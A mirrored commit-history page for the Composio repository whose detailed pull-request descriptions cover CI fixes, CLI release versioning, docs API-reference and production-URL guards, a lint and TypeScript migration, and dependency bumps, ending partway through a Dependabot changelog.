mirror of
https://github.com/ComposioHQ/composio.git
synced 2026-09-22 11:46:35 +08:00
@composio/cli@0.3.2-beta.331
323 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Alberto Schiabel
|
03291bfaa4 |
fix(ci): use locked Node version for Cloudflare E2E (#4035)
This PR: - supersedes https://github.com/ComposioHQ/composio/pull/4010 and credits @MGPOCKY for identifying the stale Cloudflare E2E Node override - lets Cloudflare E2E resolve the exact Node.js version from mise.lock through the shared setup action - retains the release job's explicit Node.js 24.17.0 publishing pin and corrects its outdated explanation - verifies the release workflow guard, workflow YAML parsing, formatting, and whitespace checks Co-authored-by: MGPOCKY <kkm1447@naver.com> |
||
|
Kshitij Jhunjhunwala
|
f9ddd94e10 | Merge next into analytics identity | ||
|
Alberto Schiabel
|
7bf09cdbb8 |
fix(cli): make GitHub releases the version authority (#3993)
This PR: - fixes https://github.com/ComposioHQ/composio/issues/3932 - replaces the private CLI package semver with the non-release `0.0.0-development` sentinel - injects the exact GitHub release tag version into every standalone binary and verifies it during the build - makes every push to `next` a beta, with explicit semver selection for intentional minor or major betas and stable releases only through beta promotion - resolves skill installation, setup repair, companion repair, and upgrades from packaged `release-tag.txt` metadata - adds regression coverage for release selection, compiled version identity, and packaged-tag asset lookup; all 1,009 CLI tests and the monorepo typecheck pass - updates the direct CLI changelog and release guidance; no Changeset is added because CLI packages are excluded from Changesets |
||
|
Alberto Schiabel
|
3335bb3013 |
fix(docs): restore API reference pages dropped by undeclared tags (#3973)
This PR: - fixes a regression introduced by https://github.com/ComposioHQ/composio/pull/3956: fumadocs-openapi 11's `groupBy: 'tag'` silently skips operations whose tag is not declared in the document's top-level `tags` array, which 404'd all 16 Projects and Organization Management operation pages (e.g. `/reference/api-reference/projects/postProjectUsageSummary`) on both v3.1 and v3, and dropped them from the sitemap and search index - adds `declareOperationTags()` (`docs/lib/openapi-tags.ts`), applied at spec load time in `lib/openapi.ts` (covers build-time-fetched specs) and at sync time in `scripts/fetch-openapi.mjs`, which now also warns when the upstream payload omits tags; the checked-in specs are normalized accordingly (purely additive) - adds CI guards in `tests/static/api-reference-routes.test.ts`: spec invariants (every visible operation has a tag and `operationId`), bidirectional spec-vs-generated-routes set equality through the production loader path, a negative test pinning fumadocs' silent-drop behavior (fails when upstream fixes it, signaling the workaround can be retired), and validation that every `ApiEndpointsTable` quick-link href resolves to a generated page - extends `Docs - Check Links` with a nightly (02:30 UTC) + manual external-URL sweep via a new `lint:links:external` script; the validator only fails on evidence a link is dead (404/410 or repeated network errors, with UA/timeout/GET-fallback/retry and per-URL caching) and scheduled failures file a deduplicated tracking issue; PR runs keep the fast internal-only check - fixes six dead external links the first sweep found (moved Claude Agent SDK docs, stale dashboard settings URL ×2, a `master`-branch path now pinned to tag `0.5.0+post.1`, and two removed `ComposioHQ` example repos whose mentions were dropped — their code is embedded in the pages via `RepoBrowser`) ## Context fumadocs-openapi 10 generated a page for any tag string found on an operation; v11 requires the tag to be declared top-level and skips silently otherwise (`preset-auto.js`: `builder.fromTagName(tag)` → `continue`, no warning). The backend spec generator omits `Projects`, `Organization Management`, and `Invite Codes` from `tags`, so their operation pages vanished while the checked-in MDX tag landing pages kept rendering with dead quick links. With the normalizer, the generated URL set is byte-identical to the pre-#3956 set (234 routes, verified via `getReferenceSource().getPages()` diff); no revert needed. Existing checks missed this because `lint:links` only extracts markdown links and `Card` hrefs (the dead links live in `ApiEndpointsTable`'s array prop) and validates against the same loader that shrank, and the integration suite samples fixed routes under tags that survived. The new completeness guard derives expectations from the specs themselves, so routine data syncs don't churn it. |
||
|
Kshitij Jhunjhunwala
|
9aa3e4b1c6 | Merge branch 'next' into claude/cli-adoption-funnel-d95660 | ||
|
jkomyno
|
6725d1c078 | Merge branch 'next' into kj/decommission-npm-brew | ||
|
jkomyno
|
fa0b8f7c1c | fix(cli): align generated Windows install guidance | ||
|
jkomyno
|
6dc77c987d | fix(cli): preserve release bundle in manual installs | ||
|
Alberto Schiabel
|
64acec65b6 |
ci(ts): fix next push trigger and cache reuse (#3971)
This PR: - fixes the `ts.build.yml` push trigger, which still pointed at `master`: the repo's default branch is `next`, so the workflow has not run on push since 2025-10-24 and never populated the turbo/pnpm caches that PR runs restore from (GitHub cache isolation lets PRs read base-branch caches, but not other PRs') - fixes the same stale `master` push trigger in `py.check.yaml` (all other workflows already list `next`) - adds a `cache-save` input (default `'true'`, preserving current behavior for every other consumer) to the `setup-node-pnpm-bun` composite action, swapping `actions/cache` for `actions/cache/restore` (same repo, same v6.1.0 SHA pin) when disabled - wires `cache-save` in `ts.build.yml` so only push runs on `next` persist caches: PR-scoped saves are invisible to other branches, so they only cost post-job time and evict default-branch entries from the 10 GB repo cache quota ## Context Measured on run [30364148082](https://github.com/ComposioHQ/composio/actions/runs/30364148082) (PR run, ~90s wall time): | Step | Time | |---|---| | Checkout | 5s | | Setup Node.js, pnpm, Bun | 34s (mise 1s, setup-node 5s, setup-bun 2s, pnpm 2s, **pnpm store restore 18s** for 658 MB, turbo restore 1s) | | `pnpm install --frozen-lockfile` | 14s | | `pnpm lint` | 1s | | `pnpm run build:packages` | 24s, **0/19 turbo cache hits** | | Post-job cache saves | ~11s (turbo save + a 658 MB pnpm store save that failed with "Unable to reserve cache", racing the parallel ts.* jobs on the same PR) | The build restored a turbo cache only via the fallback restore-key `Linux-turbo-build-` from an unrelated branch, hence 0 hits. Once push runs fire on `next` again, every merge saves a fresh `Linux-turbo-build-<sha>` cache that PR runs match through the restore-key prefix, so unchanged packages become turbo hits (up to ~20s off the build step) and the ~11s post-job save disappears from PR runs. The per-commit key suffix is kept intentionally: the turbo cache accumulates, so each default-branch save needs a fresh key and readers match via the prefix (documented inline in the action). |
||
|
Alberto Schiabel
|
a78a3fcb97 | Merge branch 'next' into claude/cli-adoption-funnel-d95660 | ||
|
Alberto Schiabel
|
f233e46937 |
chore(repo): migrate eslint to oxlint and typecheck to TypeScript 7 (#3966)
This PR: - replaces ESLint with oxlint across the pnpm workspace and the Bun-based docs site, porting the rules to `.oxlintrc.json` / `docs/.oxlintrc.json` with behavior parity (restricted-syntax selectors kept via `oxlint-plugin-eslint`) - migrates typecheck to TypeScript 7 (`typescript@^7.0.2` catalog) and keeps a TS6 pin for JS compiler API consumers via a named `ts6` pnpm catalog (`ts/scripts/validate-examples.ts`, the `@composio/cli` generate pipeline). The CLI's `typescript` dependency rebinds only the compiler-API import — its typecheck still runs the root TS7 `tsc`, since the alias package only ships a `tsc6` bin (documented in `ts/packages/cli/AGENTS.md`) - removes the `paths` mappings that pointed `@composio/core` (and, in `experimental`, `@composio/json-schema-to-zod` plus core-internal `#`-imports) at sibling `src` directories: under TS7, tsdown's tsgo-based dts step emitted stray `.d.ts` files next to those out-of-root sources on every dependent package build. Workspace deps now resolve through their built dist types, which turbo's `dependsOn: ^build` already guarantees exist — and which the deep-path exports (`@composio/core/*`) always used anyway - renames the cli boundary tooling `eslint-boundaries*` → `lint-boundaries*` and hardens the scanner to reject `oxlint-disable` spellings so the disable manifest cannot be bypassed - rewrites inline `eslint-disable` comments to oxlint rule names (comment-only; no runtime changes), and adds **one new** declared boundary: `tool-file-uploads.ts` needs `no-restricted-imports` disabled for `node:crypto` (MD5 for the presigned-upload checksum is not in Web Crypto), because oxlint also catches dynamic `await import()` where ESLint did not. The manifest grows 46 → 47 deliberately - updates CI path filters, `turbo.jsonc` lint inputs, and the docs typescript-check workflow (renamed to "Docs - Lint and TypeScript Validation" since it now lints too); drops `eslint`, `typescript-eslint`, `eslint-config-next`, and `globals` from the dependency graphs - ships no changeset: I built `@composio/core` and `@composio/anthropic` on this branch and on the pre-migration base and diffed the emitted `dist/**/*.d.mts`. The provider output is byte-identical. Core's output is **semantically identical but not byte-identical**: TS7 changes quote style (`"x"` → `'x'`), object-property and union-member ordering in inferred types, and picks equivalent shorter re-export alias paths for five signatures (e.g. `OpenAI.Beta.Threads.Runs.Run` → `OpenAI.Beta.Threads.Run` — verified both names alias the same type in the shipped typings). Chunk-name hashes shift as a consequence. No type gains, losses, or shape changes; `attw` and `publint` pass on the TS7 build ## Context First of a three-PR split of #3958. The type-safety refactors are stacked on this branch and merge after it: - docs: https://github.com/ComposioHQ/composio/pull/3967 - `@composio/core`: https://github.com/ComposioHQ/composio/pull/3968 |
||
|
Kshitij Jhunjhunwala
|
a205b68b0f |
chore(cli): decommission npm and Homebrew install channels (PRDE-1155, PRDE-1156)
curl install.sh is now the only CLI install channel. - INSTALL.md: drop npm/pnpm/yarn section; Windows guidance is WSL - install.sh: Windows error no longer advises the dead npm package - build-cli-binaries.yml: strip npm section from generated release INSTALL.md - cli.install-health-check.yml: drop stale npm dist-tag/Homebrew comment - cli.test-installation.yml: delete no-op npm-fallback job and its toolchain-versions feeder job; prune summary references - delete cli.bump-homebrew-tap.yml + bump-homebrew-formula.py (automation never fired: GITHUB_TOKEN-published releases suppress release-triggered workflows and HOMEBREW_TAP_TOKEN is dead) - ts/packages/cli/package.json: drop unused publishConfig (package is private) - cli-release skill + CLI AGENTS.md: remove Homebrew steps from release docs - toolchain-versions.json: drop now-unused node_install_compat matrix Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> |
||
|
Kshitij Jhunjhunwala
|
6dfe1ea439 | Merge branch 'next' into claude/cli-adoption-funnel-d95660 | ||
|
Kshitij Jhunjhunwala
|
15007c26ad |
chore(cli): rename COMPOSIO_POSTHOG_KEY to COMPOSIO_POSTHOG_PROJECT_API_KEY
PostHog's own term for the public write-only phc_* credential is the project API key; the old name read like a secret. Covers the env var, the build-time bake define, the baked constant, and the workflow env. The GitHub repo variable itself must be renamed manually. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> |
||
|
Anshu Garg
|
57557fc54b |
docs(webhooks): render the webhook payload reference (PLEN-2793) (#3910)
## Summary Implements the docs half of **PLEN-2793** — renders a typed public reference for the payloads Composio delivers to customer webhook URLs, under **API Reference → Webhook Events**. Pairs with platform PR ComposioHQ/platform#11389, which generates the spec. ## What's here - **`docs/public/openapi-webhooks.json`** — the generated OpenAPI **3.1** spec (top-level `webhooks`: `composio.trigger.message`, `composio.connected_account.expired`, `composio.trigger.disabled`), produced from the webhook payload Zod schemas in Apollo (SSOT). Finishes the earlier untracked WIP: adds the missing `trigger.disabled` event and reuses shared schemas as `$ref` (`WebhookEventEnvelope`, `ConnectedAccountDetailed`). - **`docs/lib/openapi.ts`** — adds the spec as a **second input** to the v3.1 reference source. Fumadocs (`fumadocs-openapi`) renders the `webhooks` block natively; operations group under the "Webhook Events" tag at `api-reference/webhook-events/*`. - **`webhook-events/index.mdx`** — landing page listing the three events, cross-linked to the Webhook Subscriptions API and signature verification. ## Why a separate 3.1 spec `webhooks` is a 3.1-only top-level field; the main `openapi.json` is 3.0. A separate file keeps the main spec (and its sync pipeline) untouched and avoids the docs' union-normalisation pass. See the platform PR for the full rationale. ## Verified locally - [x] `bun scripts/validate-links.ts` — **0 errors** (the generated `handle_composio_*` webhook pages resolve; no collision with the hand-authored `index.mdx`) - [x] `bun test tests/static/` — 33 pass / 0 fail - [x] `bun run types:check` — clean ## Notes - Setup, subscription, and signature-verification docs already exist (`setting-up-triggers/*`) and are cross-linked, not rewritten. - Follow-up (optional): auto-sync the webhooks spec from Apollo on prod deploy (currently committed by hand), mirroring the main-spec `docs-update-data` pipeline. 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com> Co-authored-by: claude[bot] <41898282+claude[bot]@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
Alberto Schiabel
|
503b50ab02 |
chore(deps): refresh SDK, Python, and CI dependencies (#3955)
This PR: - splits https://github.com/ComposioHQ/composio/pull/3953 in two: this PR carries every dependency and GitHub Actions bump **except** the docs site, which follows in a stacked PR - consolidates and supersedes Dependabot PRs #3915, #3916, and #3934 through #3942 - adopts TypeScript 7.0.2 for primary compilation while retaining the `@typescript/typescript6` API lane that TypeScript-ESLint still requires, following the upstream side-by-side guidance - refreshes Python core and provider dependencies, lockfiles, and the Ruff 0.16 lint configuration - updates every GitHub Action with a verified newer official release, including majors, while retaining immutable commit SHA pins and migrating setup-uv cache pruning - deletes four per-package `eslint.config.mjs` shims: under ESLint 10 the default per-file config lookup re-anchors the root config's globs into each package, so `pnpm lint` stayed green while the CLI's try/catch, `process.env` and node-builtin bans went unenforced - bounds and documents the new `brace-expansion` and `@hono/node-server` security overrides, raising the `@hono/node-server` floor to 2.0.10 to clear GHSA-9mqv-5hh9-4cgg - preserves intentional compatibility fixtures and lanes for AI SDK 6, Zod 3, TypeScript 5.8, Mastra AI SDK 5, and Python provider constraints ## Context The docs site is a separate Bun workspace with its own `bun.lock` and is not a pnpm workspace member, so the two halves share no lockfile and no build. Splitting them keeps the Fumadocs 11 migration (a breaking API change with real refactoring) reviewable on its own, independently of the mechanical version bumps here. The `brace-expansion` override deliberately spans majors: GHSA-mh99-v99m-4gvg (HIGH) is published as a single `<=5.0.7` range with no 1.x or 2.x backport, so narrowing it to the 5.x line puts `brace-expansion` 2.1.2 back under `core>minimatch>brace-expansion` and `pnpm audit --prod --audit-level=high` exits 1. Verified both ways; the trade-off it buys is recorded inline in `pnpm-workspace.yaml`. Verified on this branch standalone: `pnpm install --frozen-lockfile`, `pnpm lint`, `pnpm typecheck`, `pnpm build:packages`, `pnpm test` (963 tests, 26/26 tasks), and `pnpm audit --prod --audit-level=high`. |
||
|
Alberto Schiabel
|
ceb98789c8 | Merge branch 'next' into claude/cli-adoption-funnel-d95660 | ||
|
daksh
|
12db4def0d |
ci(docs): run the failure alert outside the docs working directory
The job sets `defaults.run.working-directory: ./docs`, which the alerting step
inherited. That path only exists once checkout has run, so any failure before it
— the app-token step, for instance — would leave the runner unable to start the
step's shell. Combined with continue-on-error, the alert would be dropped
silently for exactly the earliest and least visible failures.
Pin the step to ${{ github.workspace }}, which the runner creates before any
step executes.
Reported by Cursor Bugbot on #3947.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
daksh
|
0454f423a7 |
ci(docs): give the docs data sync its own production API key
`secrets.COMPOSIO_API_KEY` is shared with ts.test-e2e, py.test, py.check and ts.examples-nightly. Those pin COMPOSIO_BASE_URL to staging, and the nightly examples run is currently green against staging with this key — so the secret is a live staging credential, not an expired one. #3770 moved this job to production and added a guard rejecting any non-production base URL, but no production credential was provisioned. The staging key has returned 401 against backend.composio.dev on every run since, silently freezing the committed toolkit catalog. Repointing the shared secret at production would fix docs and break the staging suites, and py.check sets no base URL at all — a production key there would aim type-inference tests at production. So take a separate secret instead. Requires COMPOSIO_DOCS_API_KEY to be set with production read access. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
daksh
|
7af576a976 |
ci(docs): file a tracking issue when the docs data sync fails
The scheduled `Docs - Update Data` workflow has failed on every run since 2026-07-13 and nobody noticed for 11 days. The failure mode is silent by construction: when the sync breaks, `docs/public/data/toolkits.json` simply stops being refreshed, the docs site keeps building from the last good commit, and nothing 500s. Toolkits added to production after the last green run just have no page and 404 — which is how `saperly` ended up missing from docs.composio.dev/toolkits while being live in the API. Add a `failure()` step that opens one tracking issue, deduped by label so a 5-hourly cron does not file 60 duplicates. The body names the most likely cause up front: `COMPOSIO_API_KEY` needs production read access against backend.composio.dev, and a staging-only key returns 401. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
Kshitij Jhunjhunwala
|
ecbd1a33ce |
fix(cli): address PR review — identity coverage, logout, alias retry; trim comments
Review feedback (KJ): - Strip the added explanatory comments across dispatch.ts, constants.ts, _shared.ts, build-binary.ts and the workflow; keep only pre-existing ones. - Shorten the CHANGELOG entry to a single line. - Revert the .gitignore addition. Bugbot findings: - Already-authenticated installs never stitched (events stayed anonymous after upgrade, since only `login` persisted the id). Backfill now runs from any command that already resolves a session: whoami, init, connected-accounts link, plus the existing login paths. - `composio login --agent` skipped the stitch; the agent branch now resolves session info best-effort and links. - `composio logout` left `apollo_user_id` behind, so later events kept attributing to the previous person. Added clearApolloIdentityForAnalytics. - A failed alias was never retried, because any persisted `apollo_user_id` counted as "already aliased" — including when nothing was ever enqueued (no project key / telemetry off). Track `aliased_apollo_user_id` separately and only record it once the enqueue actually happened. Tests: alias retry after a skipped enqueue, and logout reverting to install_id. Full suite 956 passed. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> |
||
|
Kshitij Jhunjhunwala
|
96516e3dd5 |
chore(cli): trim telemetry comments; bake PostHog key at build (not source)
Hygiene pass on the direct-to-PostHog telemetry: condense verbose block comments in dispatch.ts/constants.ts. Source the public write-only PostHog project key from a build-time COMPOSIO_POSTHOG_KEY env var, baked into the binary via `bun build --define` (scripts/_shared.ts posthogBakeArgs), instead of a committed source literal. This mirrors the dashboard's env-driven NEXT_PUBLIC_POSTHOG_TOKEN pattern and, for this OSS repo, keeps the key out of public git history and out of fork/local builds (they compile a no-op binary). `--define` is used rather than a second `--env` because Bun honors only one `--env` and it would clobber the existing DEBUG_OVERRIDE_* inline. CI passes the key as an Actions variable on the cross-compile step; empty -> telemetry no-ops. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> |
||
|
Alberto Schiabel
|
9498679c26 |
fix(release): guard and document CLI releases (#3895)
This PR: - removes the stale `@composio/cli` changeset that wedges `changesets/action` and preserves its release note in the CLI changelog - adds `validate:changesets` before the TypeScript release action and covers ignored-package changesets in the release regression suite - makes the guard read changeset files directly so it also works in shallow and detached CI checkouts - refreshes `mise.lock` after the pinned Python standalone artifacts moved to the 20260718 build - adds the repo-local `cli-release` skill with beta, stable-promotion, verification, and failure-recovery procedures - replaces the contradictory "stable via changeset" contributor guidance with the tested-beta promotion path - extends skill taxonomy, routing probes, and PR path filters so the guard cannot silently drift ## Regression coverage The validator test creates a changeset fixture outside a Git repository, verifies that an ignored CLI package is rejected, then verifies that a normal package changeset passes. This reproduces the shallow-checkout failure without relying on a local `next` ref. ## Verification - `pnpm validate:agent-skills` - `pnpm validate:skill-routing` - `pnpm validate:changesets` - `pnpm test:release-workflow` - `pnpm lint` - `pnpm install --frozen-lockfile` - all 24 TypeScript package test tasks - skill-creator `quick_validate.py` - Prettier check - `git diff --check` - manual beta release [`@composio/cli@0.2.33-beta.294`](https://github.com/ComposioHQ/composio/releases/tag/%40composio/cli%400.2.33-beta.294): 33/33 release and installation jobs passed |
||
|
composio-zen[bot]
|
4b790dc0ce |
fix(docs): correct toolkit versions and enforce production source (#3837)
## What this fixes This is a follow-up to #3770, not a second root-cause fix. #3770 moved the docs data workflow from staging to production, centralized the production API URL, removed staging hosts from the committed data, and added the hostname guard. The committed toolkit catalog still retained staging-derived `version` values, however, because that PR intentionally did not regenerate the full catalog. After #3770 merged, the scheduled production regeneration began failing with `401 Unauthorized`: the repository's existing `COMPOSIO_API_KEY` secret is staging-scoped. The customer-visible result was that nearly every toolkit page showed the internal staging version `20260703_00`; Gmail's production version was `20260702_01`. ## Changes - Correct every `version` in `docs/public/data/toolkits.json` from the production toolkit changelog. Toolkits absent from that changelog receive `null`, matching the full generator's semantics. No other JSON field changes. - Move production changelog fetching and version application into shared `toolkit-versions.ts` logic used by the full catalog generator. - Add `bun run generate:toolkit-versions` as the narrow, reproducible generator for version-only repairs. - Reject any non-production `COMPOSIO_API_BASE` in the toolkit and meta-tool generators before a request is made. - Keep the version-distribution check as a smoke signal for the known whole-catalog staging-bump pattern, while testing the production source boundary separately. The distribution heuristic is no longer described as proof of provenance. - Fail before writing when the production changelog response is malformed or contains no versions. ## CI policy compatibility - Replace the enterprise-blocked mise action with allowlisted tool setup actions while continuing to resolve exact versions from mise.lock. Install the existing pinned mise CLI release through a checksum-verified repository script for lock freshness and preinstall validation. - Run the existing GitHub Advanced Security alert check locally and notify Slack through the already-allowlisted Slack action, avoiding the central workflow dependency rejected by the enterprise action policy. ## Verification - `bun test tests/static/` — 30 passed. - Targeted ESLint for every changed script/test — passed. - `bun run types:check` — passed. - `bun run build` — passed. - Explicit staging override of `generate-toolkits.ts` — rejected before network access. - Verified the JSON data change remains version-only; toolkit ordering, tools, triggers, descriptions, and counts are unchanged. ## Remaining deployment action An administrator still needs to replace `COMPOSIO_API_KEY` with a production-scoped key. The scheduled `docs-update-data` workflow is correctly pinned to production and therefore fails loudly with the current staging credential instead of republishing staging data. Once the secret is corrected, the normal full-catalog generator remains the authoritative refresh path. Triggered by: abhishek@composio.dev | Source: slack Session: https://zen.corp.composio.io/dashboard/#/chat/zen-3a77f73eb146 --------- Co-authored-by: Zen Agent <zen@composio.dev> Co-authored-by: abhishek <abhishek@composio.dev> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
Alberto Schiabel
|
782f1df5c7 |
fix(ci): validate Python release metadata (#3824)
This PR: - validates Python package versions and release-note coverage before a `py@*` tag can build or publish artifacts - runs the existing repository release-workflow guard in the tag-release workflow - installs the pinned Node, pnpm, and Bun toolchain only for the metadata validation step - prevents a tag from publishing artifacts whose package, runtime, provider, or docs versions drift apart Validation: - `pnpm test:release-workflow` - `pnpm exec prettier --check .github/workflows/py.release.yml` |
||
|
Alberto Schiabel
|
8a19b75915 |
fix(docs): publish production API URLs and guard against staging leaks (#3770)
## What was wrong The API reference docs were shipping staging URLs to users. There were two separate leaks, both from the same source: the scheduled `docs-update-data` workflow fetches the OpenAPI specs and toolkit data from staging every 5 hours and auto-commits them. The first leak was the curl base URL. `servers[0].url` in `openapi.json` and `openapi-v3.json` rendered as `http://staging-apollo.composio.dev` in every curl example. That is what https://github.com/ComposioHQ/composio/pull/3761 tried to fix. The second leak was in the toolkit data. `toolkits.json` carried 269 `https://staging-backend.composio.dev/api/v1/auth-apps/add` default values, surfaced in the white-labeling and auth-config docs. #3761 never touched this file. ## Which PR caused it Karan asked on Slack whether we could pin down the PR that introduced this. We can. It was https://github.com/ComposioHQ/composio/pull/3426 (commit `a3e58a421`, merged 2026-07-03), which flipped `servers[0].url` from `https://backend.composio.dev` / `PRODUCTION API` to `http://staging-apollo.composio.dev` / `STAGING API` in both specs. It was not a hand-written change. #3426 is itself an auto-generated PR from this same `docs-update-data` workflow, opened by `github-actions[bot]` on the `docs/auto-update-data` branch. The workflow fetched from staging, staging serves the staging server URL in its spec, and the value landed in the committed files where nobody caught it inside a large auto-generated diff. That is the reason the real fix belongs in the generator and the workflow, not in a one-off edit to the JSON. ## Why #3761 was not enough #3761 pinned `spec.servers` to production inside `fetch-openapi.mjs`. That closed the first leak, but three things stayed open. It only covered the OpenAPI specs. The 269 staging hosts in `toolkits.json` come from a different generator, `generate-toolkits.ts`, and stayed live on the docs site. It added no CI guard. The fix was a single line in a generator with nothing asserting it. A later refactor that dropped or reordered that line would republish staging on the next 5-hour regeneration, which is precisely the recurring failure that produced the original report. And it scrubbed the symptom rather than the source. The workflow kept fetching from staging; the pin just rewrote one field afterward. ## The fix I addressed it at four layers, so no single regression brings staging back. **Source.** `docs-update-data.yml` no longer overrides the base URL to staging. The generators default to production, so the docs reflect production. **Generators.** The production URL now lives in one place, `docs/scripts/production-api.mjs`. The toolkit and meta-tools generators sanitize any staging host to production before writing, so a staging fetch can no longer republish staging. **Committed data.** I rewrote the 269 staging hosts already in `toolkits.json` to production. **Guard.** `docs/tests/static/production-urls.test.ts` asserts the OpenAPI `servers` is production and scans both specs and every `public/data/*.json` for any `staging-*.composio.dev` host. It is an independent oracle: it hardcodes the expected value and deliberately does not import the generator constants, so a wrong edit there fails CI instead of moving both sides together. I verified it catches both the original `staging-apollo` and the `staging-backend` leaks. ## One thing to confirm before merge `COMPOSIO_API_KEY` is paired with `COMPOSIO_BASE_URL_STAGING` in every other workflow, so it is most likely a staging key. If that is the case, provision a production-capable key before the next scheduled run. Otherwise that run fails on auth, which is loud and safe, rather than silently republishing staging. The generator sanitizer and the guard keep the output correct regardless of which environment the fetch hits, so there is no risk in the interim. ## Testing - `bun test tests/static/` passes 21 of 21 (16 existing, 5 new). - The shared module loads and all three generators build under bun. - No `staging-*.composio.dev` host remains under `docs/public/`. - `docs-update-data.yml` re-validated as valid YAML. |
||
|
dependabot[bot]
|
78591f7623 |
chore(deps): bump the github-actions group with 5 updates (#3792)
Bumps the github-actions group with 5 updates: | Package | From | To | | --- | --- | --- | | [anthropics/claude-code-action](https://github.com/anthropics/claude-code-action) | `1.0.163` | `1.0.170` | | [openai/codex-action](https://github.com/openai/codex-action) | `1.10` | `1.11` | | [anthropics/claude-code-action/base-action](https://github.com/anthropics/claude-code-action) | `1.0.163` | `1.0.170` | | [actions/stale](https://github.com/actions/stale) | `10.3.0` | `10.4.0` | | [denoland/setup-deno](https://github.com/denoland/setup-deno) | `2.0.4` | `2.0.5` | Updates `anthropics/claude-code-action` from 1.0.163 to 1.0.170 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/anthropics/claude-code-action/releases">anthropics/claude-code-action's releases</a>.</em></p> <blockquote> <h2>v1.0.170</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.170">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.170</a></p> <h2>v1.0.169</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.169">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.169</a></p> <h2>v1.0.168</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.168">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.168</a></p> <h2>v1.0.167</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.167">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.167</a></p> <h2>v1.0.166</h2> <h2>What's Changed</h2> <ul> <li>Drop buffered inline comment when it is posted live (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1405">#1405</a>) by <a href="https://github.com/archievi"><code>@archievi</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1412">anthropics/claude-code-action#1412</a></li> <li>Use modern noreply email for co-author trailers by <a href="https://github.com/tarunag10"><code>@tarunag10</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1369">anthropics/claude-code-action#1369</a></li> <li>fix(restore): handle symlinked CLAUDE.md paths during config snapshot by <a href="https://github.com/syf2211"><code>@syf2211</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1441">anthropics/claude-code-action#1441</a></li> <li>fix: preserve repeated add-dir flags in claude args by <a href="https://github.com/Jerry2003826"><code>@Jerry2003826</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1256">anthropics/claude-code-action#1256</a></li> <li>fix: propagate curl failures in install pipeline by <a href="https://github.com/akhilesharora"><code>@akhilesharora</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1241">anthropics/claude-code-action#1241</a></li> <li>chore: fix prettier formatting by <a href="https://github.com/ashwin-ant"><code>@ashwin-ant</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1463">anthropics/claude-code-action#1463</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/archievi"><code>@archievi</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1412">anthropics/claude-code-action#1412</a></li> <li><a href="https://github.com/syf2211"><code>@syf2211</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1441">anthropics/claude-code-action#1441</a></li> <li><a href="https://github.com/akhilesharora"><code>@akhilesharora</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1241">anthropics/claude-code-action#1241</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.166">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.166</a></p> <h2>v1.0.165</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.165">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.165</a></p> <h2>v1.0.164</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.164">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.164</a></p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/anthropics/claude-code-action/commit/536f2c32a39763739000b0e1ac69ca2647d97ce9"><code>536f2c3</code></a> chore: bump Claude Code to 2.1.206 and Agent SDK to 0.3.206</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/37b464ce72700f7b2c5ff8d2db7fa7b15df792f5"><code>37b464c</code></a> chore: bump Claude Code to 2.1.205 and Agent SDK to 0.3.205</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/ba0aafd4308cbba7165f9f2cdb0cfbed5a3c99ce"><code>ba0aafd</code></a> chore: bump Claude Code to 2.1.204 and Agent SDK to 0.3.204</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/0fe28cdb64e23015219b0e478100b7105fd7dfa1"><code>0fe28cd</code></a> chore: bump Claude Code to 2.1.203 and Agent SDK to 0.3.203</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/f87768c6d25f92ae6efa7175e223ef77d4cbf97f"><code>f87768c</code></a> chore: bump Claude Code to 2.1.202 and Agent SDK to 0.3.202</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/58a2944bbcf1a73b1ae7960995fffca4fa29b113"><code>58a2944</code></a> chore: fix prettier formatting (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1463">#1463</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/beb753ed7288e960e1519e0bf631be7b502af876"><code>beb753e</code></a> fix: propagate curl failures in install pipeline (<a 